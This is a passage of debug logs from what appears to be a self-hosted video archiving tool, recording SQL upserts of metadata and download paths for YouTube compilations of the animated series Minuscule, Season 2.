reserved\r\n\r\n#mosquito #Caribbean #suitcase #rollercoaster #bedroom #sleeping #challenge #Minuscule #nature #insects #ladybugs #animatedseries", "The Mosquito Of The Caribbean | Minuscule 🍃 60' Compilation", "9d88a7ba-369e-4427-ad2a-3a35ff27f64c", "0uh8G_bFGd4", 2666, false, 5, "https://www.youtube.com/watch?v=0uh8G_bFGd4", 24, "/downloads/Miniscule Season 2/2025-09-25 The Mosquito Of The Caribbean | Minuscule 🍃 60' Compilation/The Mosquito Of The Caribbean | Minuscule 🍃 60' Compilation [0uh8G_bFGd4].mp4", false, false, false, [], 1, ~U[2025-09-25 10:00:02Z], ~U[2025-12-12 05:15:38Z], ~U[2025-12-12 05:15:38Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Mosquito Of The Caribbean | S02E57\n00:03:45 | Zzz zzz | S02E44\n00:07:16 | Sunburn | S02E40\n00:10:40 | Zzz In The Metro | S02E53\n00:14:16 | Trapped | S02E64\n00:17:58 | Summer Hat | S02E48\n00:21:40 | The Hat Of The Medusa | S02E17\n00:25:25 | The Monster Of The Haunted Swamp | S02E37\n00:28:56 | Mission : BBQ | S02E09\n00:32:41 | Labyrinth | S02E69\n00:36:27 | Refrigerated | S02E65\n00:40:01 | Microzilla | S02E07\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#mosquito #Caribbean #suitcase #rollercoaster #bedroom #sleeping #challenge #Minuscule #nature #insects #ladybugs #animatedseries", "The Mosquito Of The Caribbean | Minuscule 🍃 60' Compilation", "0uh8G_bFGd4", 2666, false, 5, "https://www.youtube.com/watch?v=0uh8G_bFGd4", "/downloads/Miniscule Season 2/2025-09-25 The Mosquito Of The Caribbean | Minuscule 🍃 60' Compilation/The Mosquito Of The Caribbean | Minuscule 🍃 60' Compilation [0uh8G_bFGd4].mp4", false, ~U[2025-09-25 10:00:02Z]] 22:15:38.993 [debug] QUERY OK source="sources" db=0.2ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:38.994 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-23 06:00:10Z], 5] 22:15:39.010 [debug] QUERY OK source="media_items" db=15.1ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Go Blue Go! | S02E54\n00:03:41 | Bzzaping | S02E03\n00:07:28 | It's a tie! | S02E67\n00:11:09 | Turbo speed | S02E58\n00:14:33 | An Acorn Season | S02E05\n00:18:19 | Spider Driver | S02E36\n00:22:00 | Acrobatics | S02E16\n00:25:46 | At Full Speed | S02E27\n00:29:29 | Away all boarders! | S02E41\n00:33:12 | Snow Fly | S02E51\n00:36:36 | Spider from the Depths | S02E31\n00:40:11 | Fly Hunting | S02E24\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#dragonflies #fight #pond #insects #Bzzaping #fly #spider #television #Minuscule #nature #ladybugs #animatedseries", "Go Blue Go! | Minuscule 🍃 55' Compilation", "d641681e-dc6a-43f3-b875-5bd2d5257776", "CejWzxTmiZI", 2663, false, 5, "https://www.youtube.com/watch?v=CejWzxTmiZI", 25, "/downloads/Miniscule Season 2/2025-09-23 Go Blue Go! | Minuscule 🍃 55' Compilation/Go Blue Go! | Minuscule 🍃 55' Compilation [CejWzxTmiZI].mp4", false, false, false, [], 1, ~U[2025-09-23 06:00:10Z], ~U[2025-12-12 05:15:38Z], ~U[2025-12-12 05:15:38Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Go Blue Go! | S02E54\n00:03:41 | Bzzaping | S02E03\n00:07:28 | It's a tie! | S02E67\n00:11:09 | Turbo speed | S02E58\n00:14:33 | An Acorn Season | S02E05\n00:18:19 | Spider Driver | S02E36\n00:22:00 | Acrobatics | S02E16\n00:25:46 | At Full Speed | S02E27\n00:29:29 | Away all boarders! | S02E41\n00:33:12 | Snow Fly | S02E51\n00:36:36 | Spider from the Depths | S02E31\n00:40:11 | Fly Hunting | S02E24\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#dragonflies #fight #pond #insects #Bzzaping #fly #spider #television #Minuscule #nature #ladybugs #animatedseries", "Go Blue Go! | Minuscule 🍃 55' Compilation", "CejWzxTmiZI", 2663, false, 5, "https://www.youtube.com/watch?v=CejWzxTmiZI", "/downloads/Miniscule Season 2/2025-09-23 Go Blue Go! | Minuscule 🍃 55' Compilation/Go Blue Go! | Minuscule 🍃 55' Compilation [CejWzxTmiZI].mp4", false, ~U[2025-09-23 06:00:10Z]] 22:15:39.010 [debug] QUERY OK source="sources" db=0.2ms idle=17.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.011 [debug] QUERY OK source="media_items" db=0.6ms idle=17.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-11 10:00:21Z], 5] 22:15:39.017 [debug] QUERY OK source="media_items" db=4.5ms idle=17.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Thievish As A Magpie | S02E11\n00:03:45 | The Chocolate Chase! | S02E19\n00:07:31 | Valentine's Day | S02E15\n00:11:16 | The Hat Of The Medusa | S02E17\n00:15:02 | Thirsty | S02E29\n00:18:34 | Ladybugland | S02E62\n00:22:02 | Away all boarders! | S02E41\n00:25:44 | Spider from the Depths | S02E31\n00:29:19 | Mission : BBQ | S02E09\n00:33:04 | Summer Hat | S02E48\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#thief #beach #treasures #panic #chocolate #centipede #bees #wasps #Minuscule #nature #insects #ladybugs #animatedseries", "Thievish As A Magpie | Minuscule 🍃 50' Compilation", "32afd994-8076-4257-8d3a-46274eda478b", "Fmdn7GZo03E", 2244, false, 5, "https://www.youtube.com/watch?v=Fmdn7GZo03E", 26, "/downloads/Miniscule Season 2/2025-09-11 Thievish As A Magpie | Minuscule 🍃 50' Compilation/Thievish As A Magpie | Minuscule 🍃 50' Compilation [Fmdn7GZo03E].mp4", false, false, false, [], 1, ~U[2025-09-11 10:00:21Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Thievish As A Magpie | S02E11\n00:03:45 | The Chocolate Chase! | S02E19\n00:07:31 | Valentine's Day | S02E15\n00:11:16 | The Hat Of The Medusa | S02E17\n00:15:02 | Thirsty | S02E29\n00:18:34 | Ladybugland | S02E62\n00:22:02 | Away all boarders! | S02E41\n00:25:44 | Spider from the Depths | S02E31\n00:29:19 | Mission : BBQ | S02E09\n00:33:04 | Summer Hat | S02E48\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#thief #beach #treasures #panic #chocolate #centipede #bees #wasps #Minuscule #nature #insects #ladybugs #animatedseries", "Thievish As A Magpie | Minuscule 🍃 50' Compilation", "Fmdn7GZo03E", 2244, false, 5, "https://www.youtube.com/watch?v=Fmdn7GZo03E", "/downloads/Miniscule Season 2/2025-09-11 Thievish As A Magpie | Minuscule 🍃 50' Compilation/Thievish As A Magpie | Minuscule 🍃 50' Compilation [Fmdn7GZo03E].mp4", false, ~U[2025-09-11 10:00:21Z]] 22:15:39.018 [debug] QUERY OK source="sources" db=0.3ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.019 [debug] QUERY OK source="media_items" db=0.6ms idle=7.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-09 06:00:28Z], 5] 22:15:39.023 [debug] QUERY OK source="media_items" db=3.4ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Grocery Store Racketeer | S02E50\n00:03:35 | The Grocery Store Incident | S02E39\n00:07:06 | The Stubborn Spider | S02E04\n00:10:51 | Spider from the Depths | S02E31\n00:14:26 | Spider Driver | S02E36\n00:18:07 | Rascals! | S02E38\n00:21:46 | Sausage Predator | S02E06\n00:25:32 | An Acorn Season | S02E05\n00:29:18 | A Pathetic She'Nut'Igan | S02E12\n00:33:03 | Ladybugland | S02E62\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Grocery #Spider #Bullying #Revenge #ladybug #flies #chase #supermarket #Minuscule #nature #insects #ladybugs #animatedseries", "The Grocery Store Racketeer | Minuscule 🍃 50' Compilation", "f28df02b-2570-4efd-8d2a-c863e49e5f0d", "M8b3joyk5Vc", 2229, false, 5, "https://www.youtube.com/watch?v=M8b3joyk5Vc", 27, "/downloads/Miniscule Season 2/2025-09-09 The Grocery Store Racketeer | Minuscule 🍃 50' Compilation/The Grocery Store Racketeer | Minuscule 🍃 50' Compilation [M8b3joyk5Vc].mp4", false, false, false, [], 1, ~U[2025-09-09 06:00:28Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Grocery Store Racketeer | S02E50\n00:03:35 | The Grocery Store Incident | S02E39\n00:07:06 | The Stubborn Spider | S02E04\n00:10:51 | Spider from the Depths | S02E31\n00:14:26 | Spider Driver | S02E36\n00:18:07 | Rascals! | S02E38\n00:21:46 | Sausage Predator | S02E06\n00:25:32 | An Acorn Season | S02E05\n00:29:18 | A Pathetic She'Nut'Igan | S02E12\n00:33:03 | Ladybugland | S02E62\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Grocery #Spider #Bullying #Revenge #ladybug #flies #chase #supermarket #Minuscule #nature #insects #ladybugs #animatedseries", "The Grocery Store Racketeer | Minuscule 🍃 50' Compilation", "M8b3joyk5Vc", 2229, false, 5, "https://www.youtube.com/watch?v=M8b3joyk5Vc", "/downloads/Miniscule Season 2/2025-09-09 The Grocery Store Racketeer | Minuscule 🍃 50' Compilation/The Grocery Store Racketeer | Minuscule 🍃 50' Compilation [M8b3joyk5Vc].mp4", false, ~U[2025-09-09 06:00:28Z]] 22:15:39.024 [debug] QUERY OK source="sources" db=0.2ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.024 [debug] QUERY OK source="media_items" db=0.6ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-13 18:00:31Z], 5] 22:15:39.030 [debug] QUERY OK source="media_items" db=4.5ms idle=6.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Butterfly's Nightmare | S02E20\n00:03:16 | Metamorphosis | S02E61\n00:06:47 | The Butterfly Effect | S02E23\n00:10:09 | The Annoying Neighbor | S02E28\n00:13:45 | Homeless | S02E02\n00:17:33 | The Wing Case | S02E01\n00:21:18 | The Housing Plant Project | S02E26\n00:24:55 | If Only Lonely | S02E22\n00:28:40 | Love Apple | S02E45\n00:32:20 | Trapped | S02E64\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Butterfly #Caterpillar #Nightmare #Cocoon #transformation #caterpillar #rejection #change #Minuscule #nature #insects #ladybugs #animatedseries", "A Butterfly's Nightmare 🍎 Minuscule 🍃 45' Compilation", "aa428251-8eb6-44e8-aa73-d48b074f5279", "OT9yM4KWpsE", 2201, false, 5, "https://www.youtube.com/watch?v=OT9yM4KWpsE", 28, "/downloads/Miniscule Season 2/2025-09-13 A Butterfly's Nightmare 🍎 Minuscule 🍃 45' Compilation/A Butterfly's Nightmare 🍎 Minuscule 🍃 45' Compilation [OT9yM4KWpsE].mp4", false, false, false, [], 1, ~U[2025-09-13 18:00:31Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Butterfly's Nightmare | S02E20\n00:03:16 | Metamorphosis | S02E61\n00:06:47 | The Butterfly Effect | S02E23\n00:10:09 | The Annoying Neighbor | S02E28\n00:13:45 | Homeless | S02E02\n00:17:33 | The Wing Case | S02E01\n00:21:18 | The Housing Plant Project | S02E26\n00:24:55 | If Only Lonely | S02E22\n00:28:40 | Love Apple | S02E45\n00:32:20 | Trapped | S02E64\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Butterfly #Caterpillar #Nightmare #Cocoon #transformation #caterpillar #rejection #change #Minuscule #nature #insects #ladybugs #animatedseries", "A Butterfly's Nightmare 🍎 Minuscule 🍃 45' Compilation", "OT9yM4KWpsE", 2201, false, 5, "https://www.youtube.com/watch?v=OT9yM4KWpsE", "/downloads/Miniscule Season 2/2025-09-13 A Butterfly's Nightmare 🍎 Minuscule 🍃 45' Compilation/A Butterfly's Nightmare 🍎 Minuscule 🍃 45' Compilation [OT9yM4KWpsE].mp4", false, ~U[2025-09-13 18:00:31Z]] 22:15:39.031 [debug] QUERY OK source="sources" db=0.3ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.031 [debug] QUERY OK source="media_items" db=0.6ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-06 18:00:38Z], 5] 22:15:39.059 [debug] QUERY OK source="media_items" db=26.4ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Vegetable Garden | S02E10\n00:03:44 | Ants On The Train | S02E52\n00:07:16 | Away all boarders! | S02E41\n00:10:58 | Ladybugland | S02E62\n00:14:26 | Turbo speed | S02E58\n00:17:50 | Chewing gum rodeo | S02E14\n00:21:36 | Homeless | S02E02\n00:25:23 | Woopsy Daysies! | S02E47\n00:28:57 | Night of the Gastropods | S02E18\n00:32:43 | Mission : BBQ | S02E09\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#vegetable #garden #insects #gardener #ants #train #spider #Minuscule #nature #ladybugs #animatedseries", "The Vegetable Garden | Minuscule 🍃 50' Compilation", "2b3dbaa2-a28e-4f1a-8192-9e2129a50b5d", "XQtJAsx-RbU", 2227, false, 5, "https://www.youtube.com/watch?v=XQtJAsx-RbU", 29, "/downloads/Miniscule Season 2/2025-09-06 The Vegetable Garden | Minuscule 🍃 50' Compilation/The Vegetable Garden | Minuscule 🍃 50' Compilation [XQtJAsx-RbU].mp4", false, false, false, [], 1, ~U[2025-09-06 18:00:38Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Vegetable Garden | S02E10\n00:03:44 | Ants On The Train | S02E52\n00:07:16 | Away all boarders! | S02E41\n00:10:58 | Ladybugland | S02E62\n00:14:26 | Turbo speed | S02E58\n00:17:50 | Chewing gum rodeo | S02E14\n00:21:36 | Homeless | S02E02\n00:25:23 | Woopsy Daysies! | S02E47\n00:28:57 | Night of the Gastropods | S02E18\n00:32:43 | Mission : BBQ | S02E09\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#vegetable #garden #insects #gardener #ants #train #spider #Minuscule #nature #ladybugs #animatedseries", "The Vegetable Garden | Minuscule 🍃 50' Compilation", "XQtJAsx-RbU", 2227, false, 5, "https://www.youtube.com/watch?v=XQtJAsx-RbU", "/downloads/Miniscule Season 2/2025-09-06 The Vegetable Garden | Minuscule 🍃 50' Compilation/The Vegetable Garden | Minuscule 🍃 50' Compilation [XQtJAsx-RbU].mp4", false, ~U[2025-09-06 18:00:38Z]] 22:15:39.060 [debug] QUERY OK source="sources" db=0.4ms idle=29.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.061 [debug] QUERY OK source="media_items" db=0.9ms idle=29.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-04 10:00:38Z], 5] 22:15:39.065 [debug] QUERY OK source="media_items" db=2.7ms idle=30.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Turbo speed | S02E58\n00:03:24 | At Full Speed | S02E27\n00:07:08 | Fly Hunting | S02E24\n00:10:41 | Spider Driver | S02E36\n00:14:23 | Mission : BBQ | S02E09\n00:18:08 | Zzz In The Metro | S02E53\n00:21:44 | Trapped | S02E64\n00:25:26 | Ladybugland | S02E62\n00:28:54 | The Grocery Store Incident | S02E39\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: 